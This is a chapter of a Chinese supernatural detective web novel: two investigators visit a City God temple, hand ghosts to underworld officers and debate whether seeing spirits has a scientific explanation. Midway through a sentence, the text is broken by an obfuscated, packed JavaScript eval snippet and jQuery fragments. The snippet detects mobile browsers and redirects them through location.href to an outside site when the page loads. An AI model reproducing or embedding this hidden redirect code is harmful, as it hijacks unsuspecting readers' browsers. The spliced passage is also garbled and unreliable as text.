谢重阳摆出队长的架势,拨通了小桃的电话。
电话响了足足半分钟才终于被接通,电话那头,小桃声音细弱:“喂……”
谢重阳忍不住看了眼手机确认,还是开口:“小桃,你现在方便直接去市局吗?”
“我们需要用系统找一个人。”
小桃低低“嗯”了一声。
“桌上的电脑你随便用,我一会儿把现有资料发你。”谢重阳又交代,“要是不会就去找重案组找江定,她肯定会教你的。”
“嗯。”小桃又应了一声,等他先挂了电话。
谢重阳放下手机,忍不住挠挠头:“怎么又这样了……”
之前聊天还挺正常,他还以为熟悉起来了呢。
“正常。”崔人往习以为常,“如果不是特别着急的事你可以选择给她发消息,她怕接电话,但消息一般都秒回。”
“哦。”谢重阳努力理解自家队员的性格,“这是不是就是那种……网上和现实性格差距比较大的?”
崔人往笑了笑:“嗯。”
谢重阳拧眉:“那现实中大概要多久,她能跟我熟悉起来?”
“这个么……”崔人往认真思考片刻,“三个月应该就能正常接你电话了。”
谢重阳失声:“三个月?”
崔人往又笑起来。
谢重阳反应过来:“你骗我的?”
“没有,这个是真的。”崔人往看向窗外,车开进最近的城隍庙停车场,太阳也彻底落了山。
城隍庙护卫一城,大多供奉当地名人英雄作为当地守护神,领任冥府官职。因古时州县划分跟现在不同,所以现在一个城市也常常不止有一座城隍庙。
阴差阳错,谢重阳带他来的还就是最大的那一座。
崔人往下了车,城隍庙的牌匾在前,三只鬼已经开始瑟瑟发抖。
这一座城隍庙在闹市里,附近是步行街,太阳刚刚落山,小摊贩已经陆陆续续到场开始准备,凡间烟火气拱卫着庙宇,莫名让人觉得祥和。
崔人往正要往里进,手中的塑料袋忽然被拽了一下。
豁牙小鬼哭着喊:“我、我要跟我娘一块……”
瓜皮帽老鬼连忙哄他:“会来的,大老爷会把她找来的!”
他一边说,一边偷看着崔人往的脸色。
崔人往有些诧异,居然还有鬼试图对他这样的人使用道德绑架——他明明就长了一张薄情寡义的脸。
又不是一看就热心正直的谢重阳。
但那小鬼哭得卖力,扰人耳朵清静。
崔人往忍不住想,他好像从小就没这样声嘶力竭地哭过。
或许是知道哭也不会有人来哄。
谢重阳慢他一步下了车,发觉崔人往正盯着手里的塑料袋——他时常会显露一点对这个世界冷眼旁观的隔阂感。
他皱皱眉,搭住崔人往的肩膀,晃了他一下,问:“咱们来这干什么?”
这城隍庙地段不错,香火还算旺盛,除了街边小贩讨个吉利常来,还有不少来小吃街的游客秉承着来都来了的精神,随手拜拜。
谢警官没拜过,但来过这条小吃街,还买过城隍庙的文创冰箱贴。
崔人往被他摇晃了一下,脑袋里那点下垂的情绪也“哐当”被摇晃了一下,忍不住轻轻拍开谢重阳的手,他说:“把这群小鬼交给阴间公务员,然后请他们帮忙找找走丢的四个生魂。”
崔人往眼中的城隍庙可比一般人眼里热闹不少——阴差来来往往打着招呼,眼看着是要上班了。
“啊?”谢重阳头一次办案办到庙里来,带着几分震惊问,“求神啊?”
崔人往已经进去,谢重阳也只好硬着头皮跟上去。
他不由得庆幸,幸好他们平常不穿警服,不然还真不好意思走进去。
崔人往本身阴气就重,手里提着装了三只鬼的塑料袋,身边还跟着个阳气格外旺盛的谢重阳,在一般阴差看来,大概像是一人三鬼被谢警官逮住扭送城隍庙了。
几个阴差看向这里窃窃私语,崔人往充耳不闻,买了香,按照老张教的点香上供,然后念词。
一串词念完,他睁开眼,眼前挨着三个鬼看了都要哭的凶煞阴差。
崔人往微微后仰,拎起那个塑料袋:“就是这三个小鬼。”
他们这个年份的鬼,按照道理早该去投胎了,还困在那个墓里,多半是风水出了什么问题,把自己也给困住了。
按照老张的做法,应该是做场法事把他们送走。
按照崔人往的做法,那就是挑个月黑风高的日子直接从墙外城隍庙,就算不打招呼,城隍庙公务员也自会处理。
现在是折中了一下,不办法事,但跟阴差打个招呼。
左边阴差瞧:“这个年份的鬼,现在还能找到?稀罕货啊!”
豁牙小鬼又“哇哇”哭起来:“我要我娘、我要我娘……我不走!我要等她一块……”
中间阴差劝:“莫哭了,你娘不在,阴阳两隔,缘分已尽,总不能把她也带去地下陪你吧?”
崔人往轻咳一声:“这倒不是,他娘也死了,只是如今附身在人身上,不知道往哪去了,还请几位帮忙找找。”
他顿了顿说,“还丢了四个生魂,也请一并帮帮忙。”
三位阴差一齐扭过头来看他,右边阴差咂舌:“啊呀,这居然是个活人,差点也看成鬼了。”
“开了天眼,命属极阴……这个更稀罕。”左边阴差上下打量他,“能平安长到这么大,不容易。”
“我瞧瞧。”中间阴差也凑过来,“小子,可拜了什么师父?有没有修什么道行啊?”
崔人往:“……”
他摸出几个锡纸银元,也供上去,“事情要紧,还请几位帮忙。”
他把银元点燃,瞟了豁牙小鬼一眼,垂下眼说,“还有……若是能碰上,也让他跟娘一块走吧。”
几个阴差拿了银元,脸上的表情都柔和不少:“好说、好说,你且等好消息吧,待我们找到那几个生魂,再来寻你!”
阴差手中锁链一抖,勾着小鬼一串跟在身后,穿墙而去。
谢重阳只看见崔人往上了香,像是与看不见的人说着什么,还化了两个元宝,忍不住为难地拧起眉头。
忽然,一阵阴风吹过,元宝的余烬打着卷飞向高空,崔人往微微仰起头,也不知道目光落在何处。
谢重阳盯着他,试探着开口:“你有没有听说过,国外一个被称为‘审判者’的连环杀手。”
崔人往回头:“没有。”
谢重阳接着往下说:“他每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006891|193620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次行凶手法都不尽相同,因此一开始警方并不能确定这一系列案件是同一个人做的。直到在后续调查中,警方终于发现被害者的共同点——这些被害者都有不同程度的犯罪,而他们的死法都对应着他们所犯的罪。”
崔人往不明白他为什么突然说起这个,但还是耐心听着。
“在警方逮捕他之后,证据链一度没法完善。”谢重阳盯着崔人往,“因为没人知道凶手到底是怎么知道这些人曾经犯罪的。”
“凶手本人坚称所有人的罪孽一目了然,犯罪者行走在人间就像是恶魔行走在无辜的羊群里一样显眼。他质问,为什么警察放任恶魔行走人间,不得不由他来亲自审判。”
崔人往若有所思。
在谢重阳看不见的角落里,几个阴差聚在他身后,也听得津津有味。
崔人往问:“那后来呢?证据链完善了吗?还是他们发现他真的是天使转生?”
“他们最后发现,这名犯人患有严重的脑炎。”谢重阳摸了摸鼻子,“没人能够知道他异常的大脑让他以怎样的视角看待这个世界,是否真的看见了所有人身上的‘罪’。”
崔人往:“……”
他没忍住笑了一声,“如果非要在疯子和病人里选一个,我宁愿你把我当成疯子。”
“我不是那个意思。”谢重阳拧起眉头,“我是想说……我相信你。”
崔人往这回是真的有点诧异了:“啊?”
“我相信你是真的在找线索,在为了案子奔走。”谢重阳认真地看着他,“你不是为了演戏,为了故弄玄虚才带我在这里来的。”
“我相信你,但是我也相信科学。”
崔人往试图跟上他的思路:“所以你的意思是……你要既相信科学又相信我,得出的合理解释就是——我脑子有问题?”
“不一定是生病了,可能只是天生特殊。”谢重阳认真地分析,“也许人跟人看到的世界都是不一样。”
崔人往挑眉:“那你相信我能看见鬼魂?”
“不是鬼。”谢重阳表情严肃,“也许是你能嗅到特殊的气味,也许是你能接收到的电波频率和一般人不一样,总之,应该都是科学能解释的。”
“如果现在不能解释,那就是科学还没发展到这一步。”
崔人往:“在城隍庙里聊这个,你是真的不信邪。”
“嗯?”谢重阳不明所以,“跟地点有关系吗?”
崔人往:“对你来说没有。”
“走吧。”
“哦。”谢重阳跟上去,“对了,市局有定期体检的,以防万一你还是……”
“如果我真的脑子有问题,那老张和小桃呢?”崔人往挑眉,“我们仨脑子坏到一块了?”
他说完居然觉得这个想法可以接受,“也行,三个病友。”
谢重阳:“我不算吗?”
崔人往诧异:“你是正常人。”
“我又不是说你们有病……”谢重阳说话时总喜欢盯着人的眼睛,“那退一万步,正常人不可以跟你们做病友吗?”
“好歹名义上是你们的队长,不能不带我吧。”
崔人往:“……行,你当头号病友。”
谢重阳居然还挺满意,他笑着指了指外头的步行街:“走啊,买点吃点。”